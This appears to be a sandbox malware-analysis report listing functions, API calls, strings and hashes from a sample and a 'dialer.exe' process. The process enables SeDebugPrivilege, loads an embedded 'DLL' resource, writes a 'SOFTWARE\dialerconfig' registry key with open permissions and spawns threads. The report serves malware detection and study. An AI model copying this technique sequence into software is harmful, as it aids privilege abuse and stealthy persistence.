Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 2643109117-1582277970
Opcode ID: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction ID: ef3b9a227872be29f23e55731316ac3ab6aeafabd45c73852386ac678036e1ec
Opcode Fuzzy Hash: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction Fuzzy Hash: 2B4160A1A0970685FB00BF15ED50379A761FFADB80FC448B6D91D437A6DF2CA4458F28

Function 00007FF72A7B1394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFlushKey.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72A7B1156), ref: 00007FF72A7B13F7

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: Flush
String ID:
API String ID: 1965063083-0
Opcode ID: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction ID: 88b744568f042b305bff506e7b37f05ae301629c6a04b26768ed4768f42fd036
Opcode Fuzzy Hash: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction Fuzzy Hash: 14F0A4B1908B4582E710EF51FC5502AF760FB69380F505C75E99D46725DF3CE0508F68

Non-executed Functions

Function 00007FF72A7B65EC Relevance: 23.0, APIs: 12, Strings: 3, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF72A7B66FB
wcslen.MSVCRT ref: 00007FF72A7B6872
wcslen.MSVCRT ref: 00007FF72A7B68A9

Strings

0, xrefs: 00007FF72A7B6F39
6, xrefs: 00007FF72A7B6A3B
X&, xrefs: 00007FF72A7B6FAC

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: wcslen
String ID: 0$X&$ 6
API String ID: 4088430540-2247980209
Opcode ID: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction ID: 6464706ec75f28e0cc2e55cc68ee67327ebcf8e776d6be99e1f45bbb375e6e0e
Opcode Fuzzy Hash: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction Fuzzy Hash: 5152A461D2C78284F712AF25DC026F9E370EFA9348FC446B5D94C566A5EF3C6246CB28

Function 00007FF72A7B11D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF72A7B120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF72A7B1156), ref: 00007FF72A7B124E
malloc.MSVCRT ref: 00007FF72A7B127E
strlen.MSVCRT ref: 00007FF72A7B12A4
malloc.MSVCRT ref: 00007FF72A7B12B0
memcpy.MSVCRT ref: 00007FF72A7B12C3
_cexit.MSVCRT ref: 00007FF72A7B132D

Strings

Hc=v+, xrefs: 00007FF72A7B126F
&, xrefs: 00007FF72A7B1265

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 3825114775-1582277970
Opcode ID: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction ID: 1aa95dcb4a7f2c3ad12c2f9a0b632bd41443919b18459ffadd0fbae71156cf52
Opcode Fuzzy Hash: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction Fuzzy Hash: 7E414FA1A1D70284FB00BF19EC50779A761EFADB90F8448B6C91D437A6DF2CA4458F28

Function 00007FF72A7B2690 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF72A7B2795
wcscpy.MSVCRT ref: 00007FF72A7B28CE
wcscat.MSVCRT ref: 00007FF72A7B28D9
wcslen.MSVCRT ref: 00007FF72A7B28E1
wcslen.MSVCRT ref: 00007FF72A7B28F6
wcslen.MSVCRT ref: 00007FF72A7B296D
wcslen.MSVCRT ref: 00007FF72A7B29E8

Strings

X, xrefs: 00007FF72A7B2B79
0, xrefs: 00007FF72A7B279A
`, xrefs: 00007FF72A7B2B91

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 597572034-2527496196
Opcode ID: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction ID: cb68824a13c651b0e50ad4c390ab5bb605be1f800bba7b516319b490f5f246cd
Opcode Fuzzy Hash: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction Fuzzy Hash: 8E02DF62908B8181F720EF15EC057AAB7A0FBA97A4F804275DA9C437E5DF3CD145CB64

Function 00007FF72A7B3352 Relevance: 16.7, APIs: 6, Strings: 5, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.MSVCRT ref: 00007FF72A7B349D
wcscat.MSVCRT ref: 00007FF72A7B34A8
wcslen.MSVCRT ref: 00007FF72A7B34B9
wcscpy.MSVCRT ref: 00007FF72A7B3635
wcscat.MSVCRT ref: 00007FF72A7B3640
wcslen.MSVCRT ref: 00007FF72A7B3654

Strings

@, xrefs: 00007FF72A7B3698
0, xrefs: 00007FF72A7B368D
0, xrefs: 00007FF72A7B34E6
@, xrefs: 00007FF72A7B34F1
, xrefs: 00007FF72A7B36DD

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 3623275624-1413854666
Opcode ID: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction ID: af7ffcc64a2aaeff43c96cadcae37548f729b7c28d63dc60697c4ff41118c4a0
Opcode Fuzzy Hash: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction Fuzzy Hash: 25B18D6190C7C185F361AB24EC457BBB7A0FF94348F8041B5EA8952A95DF7CD18A8F24

Function 00007FF72A7B1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF72A7BC8F4,00007FF72A7BC8F4,?,?,00007FF72A7B0000,?,00007FF72A7B1991), ref: 00007FF72A7B1C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF72A7BC8F4,00007FF72A7BC8F4,?,?,00007FF72A7B0000,?,00007FF72A7B1991), ref: 00007FF72A7B1CC7
memcpy.MSVCRT ref: 00007FF72A7B1CE0
GetLastError.KERNEL32(?,?,?,?,00007FF72A7BC8F4,00007FF72A7BC8F4,?,?,00007FF72A7B0000,?,00007FF72A7B1991), ref: 00007FF72A7B1D23

Strings

Address %p has no image-section, xrefs: 00007FF72A7B1CF4
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF72A7B1D17
VirtualProtect failed with code 0x%x, xrefs: 00007FF72A7B1D29

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction ID: b8bc439d6d996bf43212dbc73444870a9d053aae7a2546fffe745203b8fae2b0
Opcode Fuzzy Hash: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction Fuzzy Hash: 864186A2A0874681FF51AF05DC446B9A760EF6DB80F9448B6CE0D437A1DE3CE589CB24

Function 00007FF72A7B2104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF72A7B2118
TlsGetValue.KERNEL32 ref: 00007FF72A7B214F
GetLastError.KERNEL32 ref: 00007FF72A7B2154
LeaveCriticalSection.KERNEL32 ref: 00007FF72A7B2212
DeleteCriticalSection.KERNEL32 ref: 00007FF72A7B225D

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction ID: 40e9c2dd3c833dd7a2feb3c6380a03c82cabfa250f31eba72c77b4e270e60d04
Opcode Fuzzy Hash: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction Fuzzy Hash: E721EA61A0E70681FB55BF11ED40678E260EF3DB90FD548B6C91D477A4DE2CA8428E68

Function 00007FF72A7B1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF72A7B1E27

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction ID: 06b7c61e1fa93179adab152dfec5c0e72ea43191dbae683cd3a3879546e01c64
Opcode Fuzzy Hash: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction Fuzzy Hash: DD2105A1F0E30249FB747A149D803799181DFAD764FA889B1D91D433C4DF2CA88ACA68

Function 00007FF72A7B38E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF72A7B38F8
wcslen.MSVCRT ref: 00007FF72A7B396E

Strings

0, xrefs: 00007FF72A7B3922
@, xrefs: 00007FF72A7B392A

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction ID: 569bb9a685d4222d99c5bbbd4e53bac83cb77667e18bd9fe2b57ebc0090fd871
Opcode Fuzzy Hash: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction Fuzzy Hash: ED115C2252868186E350DF14F84579AF374EFE83A4F905124FA8D83B68EF7DC14ACB10

Function 00007FF72A7B1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72A7B1247), ref: 00007FF72A7B19F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF72A7B1B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF72A7B1B8B

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction ID: 4f83235bd2d6cd6702c5a6fe8154f97febba172ede71017a0ff7b863362fdee5
Opcode Fuzzy Hash: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction Fuzzy Hash: D3515FA1A08786C6FB10AF25DC447B9A761EB6DB94F8449B1DA1C07794CF3CE486CF24

Function 00007FF72A7B1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF72A7B185A

Strings

Unknown error, xrefs: 00007FF72A7B1824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF72A7B184D

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction ID: eedd1e36da1ec1aa5aef320f897762a0461a0c3c66298b4f3eb5d3bb959cea92
Opcode Fuzzy Hash: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction Fuzzy Hash: 07F0AF51A18B4982F320AF24AD410B9E360EBAD390F909A71EF4D92361DF2CE1828B14

Function 00007FF72A7B219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF72A7B21B2
TlsGetValue.KERNEL32 ref: 00007FF72A7B21EB
GetLastError.KERNEL32 ref: 00007FF72A7B21F0
LeaveCriticalSection.KERNEL32 ref: 00007FF72A7B226C

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72a7b0000_gem2.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction ID: 6217aae0b7602d2914434893f8ed24dca5674463c2cff2dd7fc4b21308776c51
Opcode Fuzzy Hash: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction Fuzzy Hash: 1B011261A0E70692F745BF11AD00178D220FF3CB90FC544B5C90D437A4DF2CA8528A68

Analysis Process: dialer.exePID: 7888, Parent PID: 7280COMMON

Execution Graph

Execution Coverage:	45.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.1%
Total number of Nodes:	227
Total number of Limit Nodes:	25

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

ntdll.dll, xrefs: 0000000140002277
kernel32.dll, xrefs: 0000000140002283
SeDebugPrivilege, xrefs: 00000001400022C9
pid, xrefs: 000000014000241B
SOFTWARE\dialerconfig, xrefs: 0000000140002399
svc64, xrefs: 0000000140002452
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
DLL, xrefs: 0000000140002321

Memory Dump Source

Source File: 00000017.00000002.2150397752.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000017.00000002.2150376497.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
